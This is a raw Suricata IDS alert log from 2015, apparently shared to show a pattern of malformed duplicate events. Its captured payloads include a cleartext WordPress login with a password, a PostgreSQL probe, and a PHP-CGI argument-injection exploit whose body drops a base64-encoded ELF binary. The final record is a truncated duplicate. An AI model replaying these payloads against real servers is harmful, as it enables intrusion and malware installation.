|
Notice the pattern. Normal event. Normal event + malformed. Normal event + malformed x2. Normal event + malformed x3. Normal event + malformed x4. Normal event + malformed x5.
|
|
{"timestamp":"2015-04-07T11:30:44.211984","flow_id":140261600850272,"in_iface":"snf0","event_type":"alert","vlan":3740,"src_ip":"61.128.111.90","src_port":52509,"dest_ip":"128.101.63.223","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2012843,"rev":3,"signature":"ET POLICY Cleartext WordPress Login","category":"Potential Corporate Privacy Violation","severity":1,"tx_id":0},"payload":"cMlaiaZ\/AAAAEAAAMgIAAFBPU1QgLy93cC1sb2dpbi5waHAgSFRUUC8xLjENClRFOiBkZWZsYXRlLGd6aXA7cT0wLjMNCkNvbm5lY3Rpb246IENsb3NlLCBURQ0KUHJhZ21hOiBuby1jYWNoZQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogcHQtYnINCkhvc3Q6IDEyOC4xMDEuNjMuMjIzDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBwdC1CUjsgcnY6MS45LjAuMTUpIEdlY2tvLzIwMDkxMDI4MTUgVWJ1bnR1LzkuMDQgKGphdW50eSkgRmlyZWZveC8zLjAuMTUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb29raWU6IFBIUFNFU1NJRD1obWZ1MzU5MDk3M3Rja243MjRwZW9mdThlMTsgd29yZHByZXNzX3Rlc3RfY29va2llPVdQK0Nvb2tpZStjaGVjaw0KQ29va2llMjogJFZlcnNpb249IjEiDQpDb250ZW50LUxlbmd0aDogMTA5DQoNCmxvZz1hZG1pbiZwd2Q9ZGFrb3RhJndwLXN1Ym1pdD1Mb2dpbiZyZWRpcmVjdF90bz1odHRwJTNBJTJGJTJGMTI4LjEwMS42My4yMjMlMkYvJTJGd3AtYWRtaW4lMg==","payload_printable":"POST \/\/wp-login.php HTTP\/1.1\r\nTE: deflate,gzip;q=0.3\r\nConnection: Close, TE\r\nPragma: no-cache\r\nAccept: *\/*\r\nAccept-Language: pt-br\r\nHost: 128.101.63.223\r\nUser-Agent: Mozilla\/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko\/2009102815 Ubuntu\/9.04 (jaunty) Firefox\/3.0.15\r\nContent-Type: application\/x-www-form-urlencoded\r\nCookie: PHPSESSID=hmfu3590973tckn724peofu8e1; wordpress_test_cookie=WP+Cookie+check\r\nCookie2: $Version=\"1\"\r\nContent-Length: 109\r\n\r\nlog=admin&pwd=dakota&wp-submit=Login&redirect_to=http%3A%2F%2F128.101.63.223%2F\/%2Fwp-admin%2F&testcookie=1\r\n","stream":1,"packet":"fK10kl+AfK10kj0AgQAOnAgARQAANNPsQAAxBgi5PYBvWoBlP9\/NHQBQu1MNi1Q+D82AEABDDHQAAAEBCAoe7d3LMenT7Q=="}
|
|
{"timestamp":"2015-04-07T11:30:44.416997","flow_id":140261614477088,"in_iface":"snf0","event_type":"alert","vlan":3740,"src_ip":"66.240.192.138","src_port":63335,"dest_ip":"160.94.149.142","dest_port":5432,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2010939,"rev":2,"signature":"ET POLICY Suspicious inbound to PostgreSQL port 5432","category":"Potentially Bad Traffic","severity":2},"payload":"","stream":0,"packet":"fK10kl+AfK10kj0AgQAOnAgARQAAKC+IAABzBt7gQvDAiqBelY73ZxU47O6j6gAAAABQAhf9wQQAAAAAAAAAAA=="}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2016977,"rev":3,"signature":"ET WEB_SERVER allow_url_include PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0},"payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p"}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2016977,"rev":3,"signature":"ET WEB_SERVER allow_url_include PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0},"payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJh